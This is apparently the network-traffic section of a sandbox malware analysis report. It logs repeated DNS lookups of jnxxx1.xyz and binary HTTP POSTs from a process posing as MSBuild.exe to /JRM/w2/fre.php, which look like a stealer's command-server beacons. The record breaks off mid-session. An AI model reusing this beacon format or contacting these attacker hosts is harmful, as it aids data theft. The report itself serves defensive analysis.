Jan 14, 2022 14:26:54.090604067 CET	8.8.8.8	192.168.2.4	0x6bf6	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:56.698745012 CET	8.8.8.8	192.168.2.4	0x57ef	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:56.698745012 CET	8.8.8.8	192.168.2.4	0x57ef	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:58.151236057 CET	8.8.8.8	192.168.2.4	0xfb1e	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:58.151236057 CET	8.8.8.8	192.168.2.4	0xfb1e	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:01.331875086 CET	8.8.8.8	192.168.2.4	0x2659	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:01.331875086 CET	8.8.8.8	192.168.2.4	0x2659	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:03.280853987 CET	8.8.8.8	192.168.2.4	0xb719	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:03.280853987 CET	8.8.8.8	192.168.2.4	0xb719	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:05.299772978 CET	8.8.8.8	192.168.2.4	0x3b77	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:05.299772978 CET	8.8.8.8	192.168.2.4	0x3b77	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:08.235579014 CET	8.8.8.8	192.168.2.4	0x80bc	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:08.235579014 CET	8.8.8.8	192.168.2.4	0x80bc	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:09.929234028 CET	8.8.8.8	192.168.2.4	0xec4d	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:09.929234028 CET	8.8.8.8	192.168.2.4	0xec4d	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:11.562249899 CET	8.8.8.8	192.168.2.4	0xc52a	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:11.562249899 CET	8.8.8.8	192.168.2.4	0xc52a	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:12.986362934 CET	8.8.8.8	192.168.2.4	0x830c	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:12.986362934 CET	8.8.8.8	192.168.2.4	0x830c	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:14.377444029 CET	8.8.8.8	192.168.2.4	0x5f51	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:14.377444029 CET	8.8.8.8	192.168.2.4	0x5f51	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:15.835823059 CET	8.8.8.8	192.168.2.4	0x6800	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:15.835823059 CET	8.8.8.8	192.168.2.4	0x6800	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:17.256669044 CET	8.8.8.8	192.168.2.4	0x4719	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:17.256669044 CET	8.8.8.8	192.168.2.4	0x4719	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:18.622642994 CET	8.8.8.8	192.168.2.4	0xbe8a	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:18.622642994 CET	8.8.8.8	192.168.2.4	0xbe8a	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

jnxxx1.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49770	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:18.175312996 CET	1136	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 190 Connection: close
Jan 14, 2022 14:25:18.682698011 CET	1137	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hi6EP8s%2FA6JM%2BRfu5cWelq8dHnWlM%2B89T9op67hAOd3ZG8Tvr3hS5TiyaLVdcu2jTPqCChMpx5nPsK2UQxsu8fd%2FrnlS%2BP3oLufopYezdUg3uyKNqp8JhbUvFs%2Fg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd73084abee717a-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49771	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:19.900110006 CET	1138	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 190 Connection: close
Jan 14, 2022 14:25:20.352523088 CET	1139	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:20 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nRMKvgI%2F0%2F2n899Ft%2FZSKTFJQFPnhZW11EVr9Rqdz%2FmHh3k5zZvZuHois03vtzJeSblchTHtmekHUN3OqsS0zS88IbX2dihqTK0mi6La%2BTDXa59E9fB5BSPVn2Ll"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7308f7ebe7172-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49780	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:34.630207062 CET	1339	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:35.002677917 CET	1340	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LgJg09fdfh163T5amD1arIYDv%2FNwSAADTX4ablO%2FZYppqWhI9Tk4rVdpHkhMtQP9XjHiYkj3GHAo44zVwo%2Fl5HrWcAQOLmjqJ4%2BVZZaQ9W94HGXsRqkwMK8uHqtt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd730eb7b0e68eb-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49781	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:35.944353104 CET	1341	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:36.349956036 CET	1342	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ug8%2FAGi89aQisThCg%2BnxGvAgvoNw%2Fic%2BvC8b4kXYDPt1fAulMzxSdpmEX%2BIe7CQNaf7o5RL2%2FStbKvWuv6tXYQefJhyvAip%2F2mwNrm%2BoNWkg%2FkyeCXqekKD%2Fagql"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd730f3cf35cdbf-CDG alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49782	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:37.320518017 CET	1343	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:37.702580929 CET	1344	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:37 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xPKJxy99APDIhlVAha7cTUa%2FITUb7rrhYx9hVKGRS504XUq1CplU5Mj0hHOtPQIQw45EcMbbtTr6VwAC5jC%2FVRmTE8d7YFkiiqSNayLb93LRwpY3g8O3gjh300dc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd730fc5ead3bd4-CDG alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49783	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:38.912355900 CET	1345	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:39.325426102 CET	1346	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:39 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9kbgl8GYzYqDHxzTNpojc1OOLQ9g7Uf2N9Fg8XRZwk5oYDgucvNB4Ij3BciCJ263fVh2RHwrMkc9HdwWWr9sfh1CNnhScLcUpwtae4XvqbXAnAbelGSSTkwFMZIp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd731064b4e4bf5-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49786	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:41.572779894 CET	1369	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:41.999090910 CET	1370	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:41 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZgGoPHBueohZRmwh5mDFogsODharUtfq9CNIDypSehPnxGQ5cggmwF%2BO%2FLutdMI3%2FxmnUtgX6aXATJnX8PJ4qWyQmUplB26zccPzxzejORfjwOaxeTtHlih6a%2FCl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd73116fa2a2014-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49787	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:43.959683895 CET	1371	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:44.329082012 CET	1372	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uvYvXjYPLMwGtndoIeApkR0ECRQ3x8cuNoQFYarnTRWoAt8vBuDfRyycp3q75GFmWPK%2Bc8H6FvlZmS50XvQsKeeLZbEhNl6SodeIRaysfC3rcNPunWHZQRXkAccQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd73125dc534242-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49788	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:46.505954981 CET	1373	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:46.927402973 CET	1374	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:46 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dal10SZcT1tL%2FuvxOfyxO2m0u%2FF2fcKDAf6OUzw7FSKfnQU89eXnekvZ%2F0sSOez89pJQMhyFfrM8vcaIrlrZ3VCppeUQcEW3YOn8z%2FVhm4J8pXuX3S%2FV3SMmDQaF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd73135cc481ee7-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49789	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:48.319339991 CET	1375	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:48.711286068 CET	1376	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wpyAwjfJFUCS82v8TaElEXzTWShQhtQiJb93uGnV0KxbylLElIs6i%2BYixkVZmOpJCwkN3nPbiIZ2kc1uQASuAM1P49MhRlztH10tpn9pSAeRFdgoqae8CA3i1AFM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd731411da83ba3-CDG alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49790	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:50.057955980 CET	1377	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:50.433623075 CET	1378	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:50 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LXsNoX67xKYIOkJtyuMYXG%2B2NDusQ7rQ2Lr6CWwfFGY6Tnt%2FktGdOjES9LEQKjyc3XTahUJkuTvOoYoLm6mAMARa4ZknwjsKj8%2BUwHoDs2FhNjd9v8xHoFZjVNGO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7314be956695e-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49791	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:51.752907991 CET	1379	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:52.128684998 CET	1380	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ftz2WOk1p%2BDDAbf5X9IOG9113w6gCMkpMwhBgkDAFd3Q%2FYEbCO5G5AUB0oNVxHMiDfMaFilkV3DQUXxCsFq2rycZzsswGgs82RcZROk0Bw7tXhpkTKBzxX5%2BT9F2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7315688288b8a-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49772	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:21.284630060 CET	1235	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:22.203110933 CET	1236	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wfRwINA8sizrSXJoN1k3qO6EE7W9%2FUVuj%2F9R9GnQ2koZzil1mauU3M9CDhUOGqCQa974KV1DUJtCRSnjA1y6GBUIFUMm0T8vH8aXmpJ5uHb%2Fd1Ujk4nxbnF0CdbT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7309819b78745-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49792	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:53.149995089 CET	1380	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:53.673243999 CET	1381	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wDGp1Oy9HbaC4yr2lUMdpdFPuUFOf4XKBQmLKcz%2B%2FGOF3Qi0E%2FBBx%2BOGiKvEXsBwxoaqsQTZSamfYBlZf8b0RA81%2BDty9I1Dtr5uZlJk7JEAveVTZOu3cfKlGl1F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7315f49a2716e-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49793	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:54.980187893 CET	1382	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:55.532751083 CET	1384	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:55 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jCvc1U0c1tN8iO6BaKruFdADsQSpn5I1LqLJlB%2BzBz01yfvoHPAmlyy%2FMDZj4p7oybDxInvculkNpZdhfeRr4L1caCFmHWq1YrmXkjgwnTyl94jXHWZSNC2T4Ttc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7316abb96717b-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49794	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:57.480514050 CET	1384	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:57.907254934 CET	1385	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uHfXZBYQdshooUaQuzbYJcvo9mOuNBa76dW4JZDk4UArpHKYn%2Fc%2BszzOH07CY4vbXKzBK2ZoeBEX5GaOGMSjayGafdHfYhmOususAbHIflJpDP%2Fb0N%2BDR4BtqVZx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7317a5b3c409f-CDG alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49795	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:59.305784941 CET	1386	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
